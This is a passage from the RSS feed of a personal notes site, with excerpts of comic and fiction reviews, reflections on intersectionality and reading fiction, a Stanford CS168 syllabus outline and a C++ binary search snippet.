 &lt;cite id='Mighty'&gt;
 
 The Mighty&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Peter J. Tomasi; Champagne Keith; Chris Samnee; Peter Snejbjerg.
 
 
 
 
 
 &lt;a href="https://imagecomics.com/comics/series/the-mighty" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=imagecomics.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;imagecomics.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/title/15390193" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 2022.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;h2 id="review"&gt;Review&lt;/h2&gt;
&lt;p&gt;Similar back story to

&lt;a href="https://imagecomics.com/comics/series/invincible"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Invincible
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, also published
by Image Comics. Like Omni-Man, Alpha One comes from a distant civilization of
advanced humans. However, his ambitions weren&amp;rsquo;t shared by his people, and
crashed into Earth by mistake while being transported to a prison in Venus.&lt;/p&gt;</description></item><item><title>Civil War</title><link>https://www.curiosities.dev/fiction/millar-civil-war/</link><pubDate>Fri, 21 Oct 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/millar-civil-war/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/millar-civil-war.jpg');
 }
&lt;/style&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Thematic similarities with DC&amp;rsquo;s Injustice storyline that divides the heroes into
two camps, with some questionable decisions along the way.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;[Mrs. Sharpe] &lt;em&gt;Goliath knew what he was doing. He was breaking a law designed to
save people&amp;rsquo;s lives. If he&amp;rsquo;d only gone legitimate. He&amp;rsquo;d still be alive. This is
no more your fault than a cop could be blamed for shooting a punk who pulls a
gun on him.&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#CivilWar-V1-04"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>On Societal Oppressions</title><link>https://www.curiosities.dev/socioeconomics/2022-09-18-societal-oppressions/</link><pubDate>Sun, 18 Sep 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/socioeconomics/2022-09-18-societal-oppressions/</guid><description>&lt;p&gt;Looking for parallels should be done cautiously. For example, the advantaging
associated with race may be different from the one associated with heterosexism.
It&amp;rsquo;s also hard to disentangle [dis]advantaging where social class, economic
class, race, religion, sexuality, ethnic identity, and other factors interact.
&lt;span class="citation-ref"&gt;&lt;a href="#McIntosh1990"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Isn&amp;rsquo;t this the crux of intersectionality studies?&lt;/p&gt;
&lt;p&gt;Intersectionality identifies multiple factors of advantage and disadvantage.
Factors include gender, caste, sex, race, ethnicity, class, sexuality, religion,
disability, weight, and physical appearance. These intersecting and overlapping
social identities may be both empowering and oppressing. Criticisms of the
framework: tendency to reduce individuals to specific demographic factors; its
use as an ideological tool against other feminist theories; ambiguous/undefined
goals; reliance on subjective experiences (standpoint theory) leading to
contradictions and inability to generalize. &lt;span class="citation-ref"&gt;&lt;a href="#WikiIntersectionality"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>How to Read Fiction</title><link>https://www.curiosities.dev/fiction/how-to-read-fiction/</link><pubDate>Sun, 11 Sep 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/how-to-read-fiction/</guid><description>&lt;p&gt;Imaginative literature primarily pleases rather than teaches. It is much easier
to be pleased than taught, but much harder to know why one is pleased. Beauty is
harder to analyze than truth. &lt;span class="citation-ref"&gt;&lt;a href="#Adler1972-14"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;On the fiction&amp;rsquo;s importance, &lt;span class="citation-ref"&gt;&lt;a href="#Adler1972-14"&gt;&lt;/a&gt;&lt;/span&gt; phrases it nicely:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;But we could not live in this [real] world if we were not able, from time to
time, to get away from it. We do not mean that imaginative literature is
always, or essentially, escapist. In the ordinary sense of that term, the idea
is contemptible. If we must escape from reality, it should be to a deeper, or
greater, reality.&lt;/p&gt;</description></item><item><title>Y: The Last Man</title><link>https://www.curiosities.dev/fiction/vaughan-y-the-last-man/</link><pubDate>Sun, 11 Sep 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/vaughan-y-the-last-man/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/y-the-last-man.webp');
 }
&lt;/style&gt;




&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Issues #18 to #23 didn&amp;rsquo;t have moments that made me think/pause. Mostly
free-flowing; similar to how Monstress is turning out. Maybe the series is
tapering out? Or the novelty has faded. All the more impressive that Sandman
kept me hooked through +70 issues. Will give it one more shot by reading Book 3
(#24 - #36).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="snapshots"&gt;Snapshots&lt;/h2&gt;
&lt;p&gt;[Christopher] &lt;em&gt;I don&amp;rsquo;t get it. I mean, off the record, I understand fighting for
equal pay and all that garbage&amp;hellip; But I thought you feminists were pacifists,
too.&lt;/em&gt; [Alter] &lt;em&gt;Who wants peace, when we have not yet begun to fight?&lt;/em&gt; &lt;span class="citation-ref"&gt;&lt;a href="#YTheLastMan-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>[ToDo] CS 168: The Modern Algorithmic Toolbox</title><link>https://www.curiosities.dev/todo/computer-science/cs168-modern-algorithmic-toolbox/</link><pubDate>Sat, 10 Sep 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/cs168-modern-algorithmic-toolbox/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='CS168'&gt;
 
 The Modern Algorithmic Toolbox (CS168)&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Gregory Valiant.
 
 
 
 
 &lt;a href="https://web.stanford.edu/class/cs168/index.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=web.stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;web.stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 2022.
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Sep 10, 2022.
 
 
&lt;/div&gt;

&lt;h2 id="modern-hashing"&gt;Modern Hashing&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Consistent hashing.&lt;/li&gt;
&lt;li&gt;Property-preserving lossy compression. From majority elements to approximate
heavy hitters. From bloom filters to the count-min sketch.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="data-with-distances"&gt;Data with Distances&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Similarity Search. (Dis)similarity metrics: Jaccard, Euclidean, Lp. Efficient
algorithm for finding similar elements in small/medium (i.e. \(&amp;lt; 20\))
dimensions using k-d trees.&lt;/li&gt;
&lt;li&gt;Curse of Dimensionality, kissing number. Distance-preserving compression.
Estimating Jaccard Similarity using MinHash. Euclidean distance preserving
dimensionality reduction (aka the Johnson-Lindenstrauss Transform)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="generalization-and-regularization"&gt;Generalization and Regularization&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Generalization (or, how much data is enough?). Learning an unknown function
from samples from an unknown distribution. Training error vs. test error. PAC
guarantees for linear classifiers. Empirical risk minimization.&lt;/li&gt;
&lt;li&gt;Regularization. The polynomial embedding and random projection, L2
regularization, and L1 regularization as a computationally tractable surrogate
for L0 regularization.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="linear-algebraic-techniques-understanding-principal-components-analysis-pca"&gt;Linear-Algebraic Techniques: Understanding Principal Components Analysis (PCA)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Understanding PCA. Minimizing squared distances equals minimizing variance.
Use case for data visualization and data compression. Failure modes for PCA.&lt;/li&gt;
&lt;li&gt;How PCA works. Maximizing variance as finding the &amp;ldquo;direction of maximum
stretch&amp;rdquo; of the covariance matrix. The simple geometry of &amp;ldquo;diagonals in
disguise.&amp;rdquo; The power iteration algorithm.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="linear-algebraic-techniques-understanding-the-singular-value-decomposition-svd"&gt;Linear-Algebraic Techniques: Understanding the Singular Value Decomposition (SVD)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Low-rank matrix approximations. SVD; applications to matrix compression,
de-noising, and matrix completion (i.e. recovering missing entries).&lt;/li&gt;
&lt;li&gt;Tensor methods. Differences between matrices and tensors, the uniqueness of
low-rank tensor factorizations, and Jenrich&amp;rsquo;s algorithm.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="spectral-graph-theory"&gt;Spectral Graph theory&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Graphs as matrices and the Laplacian of a graph, Interpretations of the
largest and smallest eigenvectors/eigenvalues of the Laplacian. Spectral
embeddings, and an overview of applications (e.g. graph coloring, spectral
clustering).&lt;/li&gt;
&lt;li&gt;Interpretations of the second eigenvalue (via conductance and isoperimetric
number), and the connections with the speed at which random walks/diffusions
converge.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sampling-and-estimation"&gt;Sampling and Estimation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Reservoir sampling (how to select a random sample from a data stream). Basic
probability tools: Markov&amp;rsquo;s inequality and Chebyshev&amp;rsquo;s inequality. Importance
Sampling (how to make inferences about one distribution based on samples from
a different distribution). Description of the Good-Turing estimate of
missing/unseen mass.&lt;/li&gt;
&lt;li&gt;Markov Chains, stationary distributions. Markov Chain Monte Carlo (MCMC) as
approaches to solving hard problems by sampling from carefully crafted
distributions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-fourier-perspective-and-other-bases"&gt;The Fourier Perspective (and other bases)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Fourier methods, part 1.&lt;/li&gt;
&lt;li&gt;Fourier methods, part 2 (emphasis on convolutions).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sparse-vectormatrix-recovery-compressive-sensing-and-mathematical-programming"&gt;Sparse Vector/Matrix Recovery (Compressive Sensing) and Mathematical Programming&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Compressive sensing.&lt;/li&gt;
&lt;li&gt;Linear and convex programming. Matrix completion.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="privacy-preserving-computation"&gt;Privacy Preserving Computation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Differential Privacy in data analysis and machine learning&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Fiction Potpourri</title><link>https://www.curiosities.dev/fiction/potpourri/</link><pubDate>Tue, 06 Sep 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/potpourri/</guid><description>&lt;p&gt;A collection of notes/impressions from titles where I didn&amp;rsquo;t find enough to
necessitate a dedicated page. Usually short works of fiction.&lt;/p&gt;
&lt;h2 id="unknown-number"&gt;Unknown Number&lt;/h2&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Neustifter2021'&gt;
 
 Unknown Number&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Blue Neustifter.
 
 
 
 
 &lt;a href="https://twitter.com/Azure_Husky/status/1420177932518137862" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=twitter.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;twitter.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://genderdysphoria.fyi/tweets/12943B76C8" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=genderdysphoria.fyi" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;genderdysphoria.fyi&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 Jul 27, 2021.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Sep 6, 2022.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 &lt;span class="fa fa-star"&gt;&lt;/span&gt;
 
&lt;/div&gt;

&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Neustifter2021"&gt;&lt;/a&gt;&lt;/span&gt; tells the story of a person who has gender
dysphoria. In an alternate universe, they never transitioned but went on to
become an established physicist who could communicate across parallel universes.&lt;/p&gt;</description></item><item><title>Monstress</title><link>https://www.curiosities.dev/fiction/liu-monstress/</link><pubDate>Mon, 05 Sep 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/liu-monstress/</guid><description>&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/extraterrestrial-possession"&gt;#extraterrestrial-possession&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;style&gt;
 body {
 background-image: url('/img/fiction/liu-monstress.jpg');
 }
&lt;/style&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Ms. Liu 
&lt;a href="http://marjoriemliu.com/about/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 notes
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 that Monstress is a
creator-owned comic book series. Why is &amp;ldquo;creator-owned&amp;rdquo; significant?&lt;/p&gt;
&lt;p&gt;While creator ownership has been common in fiction writing, it&amp;rsquo;s more the
exception in comics, recorded music, and motion pictures, where the work is sold
to the publishers, or produced as work-for-hire. Prominent outfits for
creator-owned comics include Image Comics (founded by prominent Marvel artists),
DC&amp;rsquo;s Vertigo imprint (now Black Label), and Dark Horse Comics&amp;rsquo; Legend imprint.
&lt;span class="citation-ref"&gt;&lt;a href="#WikiCreatorOwnershipComics"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>When An Ogre Walks Down the Street</title><link>https://www.curiosities.dev/fiction/onjerika-when-an-ogre-walks-down-the-street/</link><pubDate>Sun, 04 Sep 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/onjerika-when-an-ogre-walks-down-the-street/</guid><description>&lt;h2 id="plot-points"&gt;Plot Points&lt;/h2&gt;
&lt;p&gt;Her mind swells: mine, mine, mine. She pounds the pavement with her feet,
pointing, shouting, but no one tries to stop the thief; no one wants to have a
knife in the gut&amp;hellip; And then the other things that anger her in a distracting
and grinding way, things she can do nothing about because she is a coward, and
she will not get tear-gassed, clobbered, and arrested over an uncertain
revolution: the barely-out-of-teenagehood Kianjokoma brothers dead at the hands
of the police and no one arrested; the billions the President says are vanishing
from the national Treasury every day; DJ Evolve shot and maimed in a club by a
sitting MP who is still sitting quite comfortably; the countries far away
hoarding vaccines while their citizens brandish guns over masks and personal
freedoms. No! She will not lose one more fucking thing to the world. &lt;span class="citation-ref"&gt;&lt;a href="#Onjerika2021"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>The Dreaming: Waking Hours</title><link>https://www.curiosities.dev/fiction/wilson-the-dreaming-waking-hours/</link><pubDate>Sun, 28 Aug 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/wilson-the-dreaming-waking-hours/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/wilson-dreaming-waking-hours.webp');
 }
&lt;/style&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;A spin-off from 
&lt;a href="https://www.curiosities.dev/fiction/neil-gaiman-sandman/"
 
 
 
 &gt;
 Gaiman&amp;rsquo;s Sandman
 
&lt;/a&gt;
,
featuring the reincarnated Lord Dream.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="notable-plot-points"&gt;Notable Plot Points&lt;/h2&gt;
&lt;p&gt;[Morris] &lt;em&gt;Professor Dunbar&amp;hellip; The reason I asked you to be my advisor is because
I thought you of all people would understand what it&amp;rsquo;s like to be a woman in
academia. [Professor Dunbar] You mean you thought I&amp;rsquo;d cut you a break. But I
never got a break. I was the only woman in my class at Oxford who left with a
PhD, and for my trouble, I&amp;rsquo;m teaching at a no-name university in New Jersey.&lt;/em&gt;
&lt;span class="citation-ref"&gt;&lt;a href="#WakingHours-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Binary Search</title><link>https://www.curiosities.dev/computer-science/sorting-and-searching/binary-search/</link><pubDate>Thu, 18 Aug 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/sorting-and-searching/binary-search/</guid><description>&lt;h2 id="binary-search-on-a-non-decreasing-f-mathbbr-to-mathbbr"&gt;Binary Search on a Non-Decreasing \(f: \mathbb{R} \to \mathbb{R}\)&lt;/h2&gt;
&lt;p&gt;Given a number \(L\) and a non-decreasing function \(f: \mathbb{R} \to
\mathbb{R}\), find the greatest \(x\) such that \(f(x) \le L\). To start,
there are two numbers \(lo\) and \(hi\), such that \(f(lo) \le L &amp;lt;
f(hi)\).&lt;/p&gt;
&lt;h3 id="algorithm"&gt;Algorithm&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;double&lt;/span&gt; &lt;span style="color:#75af00"&gt;binary_search&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;double&lt;/span&gt; &lt;span style="color:#111"&gt;lo&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;double&lt;/span&gt; &lt;span style="color:#111"&gt;hi&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;double&lt;/span&gt; &lt;span style="color:#111"&gt;lim&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;while&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;hi&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#111"&gt;lo&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;precision&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;const&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;double&lt;/span&gt; &lt;span style="color:#111"&gt;mid&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;hi&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#111"&gt;lo&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;lim&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;f&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;mid&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt; &lt;span style="color:#111"&gt;hi&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;mid&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75715e"&gt;// Search in left half
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;else&lt;/span&gt; &lt;span style="color:#111"&gt;lo&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;mid&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75715e"&gt;// Search in right half
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;lo&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Sannemo2018"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;In my attempt at writing &lt;code&gt;binary_search&lt;/code&gt;, I had:&lt;/p&gt;</description></item><item><title>[ToDo] Algorithms Meta</title><link>https://www.curiosities.dev/todo/computer-science/algorithms-meta/</link><pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/algorithms-meta/</guid><description>&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Sannemo2018"&gt;&lt;/a&gt;&lt;/span&gt; (13 pages) defines computational problems, algorithms,
programming languages, pseudo-code, and online judges.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Sannemo2018'&gt;
 
 Principles of Algorithmic Problem Solving&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Johan Sannemo.
 
 KTH Royal Institute of Technology.
 
 
 &lt;a href="https://www.csc.kth.se/~jsannemo/slask/main.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.csc.kth.se" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.csc.kth.se&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Oct 24, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>[ToDo] Discrete Mathematics</title><link>https://www.curiosities.dev/todo/mathematics/discrete-mathematics/</link><pubDate>Wed, 17 Aug 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/mathematics/discrete-mathematics/</guid><description>&lt;h2 id="logic"&gt;Logic&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Sannemo2018"&gt;&lt;/a&gt;&lt;/span&gt; walks through pretty common syntax.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sets-and-sequences"&gt;Sets and Sequences&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Sannemo2018"&gt;&lt;/a&gt;&lt;/span&gt; defines sets and sequences, and various notations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sums-and-products"&gt;Sums and Products&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Sannemo2018"&gt;&lt;/a&gt;&lt;/span&gt; introduces syntax, and declares a few closed forms
without proofs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="graphs"&gt;Graphs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Sannemo2018"&gt;&lt;/a&gt;&lt;/span&gt; defines various terms like vertices, edges, paths,
walks, trails, trees, connectedness, edge-directionality, edge-weights, etc.&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Sannemo2018"&gt;&lt;/a&gt;&lt;/span&gt; recommends:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Calculus&lt;/em&gt; by Michael Spivak.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Logic in Computer Science&lt;/em&gt; by Michael Huth.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Discrete and Combinatorial Mathematics: An Applied Introduction&lt;/em&gt; by Ralph
Grimaldi.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Concrete Mathematics&lt;/em&gt; by Oren Patashnik, Donald E. Knuth, and Ronald Graham.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Graph Theory&lt;/em&gt; by Reinhard Dietsel.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Sannemo2018'&gt;
 
 Principles of Algorithmic Problem Solving&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Johan Sannemo.
 
 KTH Royal Institute of Technology.
 
 
 &lt;a href="https://www.csc.kth.se/~jsannemo/slask/main.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.csc.kth.se" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.csc.kth.se&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Oct 24, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>House of M</title><link>https://www.curiosities.dev/fiction/bendis-house-of-m/</link><pubDate>Sun, 14 Aug 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/bendis-house-of-m/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/bendis-house-of-m.jpg');
 }
&lt;/style&gt;

&lt;h2 id="plot-points"&gt;Plot Points&lt;/h2&gt;
&lt;p&gt;[Xavier] Wanda, put the world back now! [Wanda] No! [Xavier] Put it back!
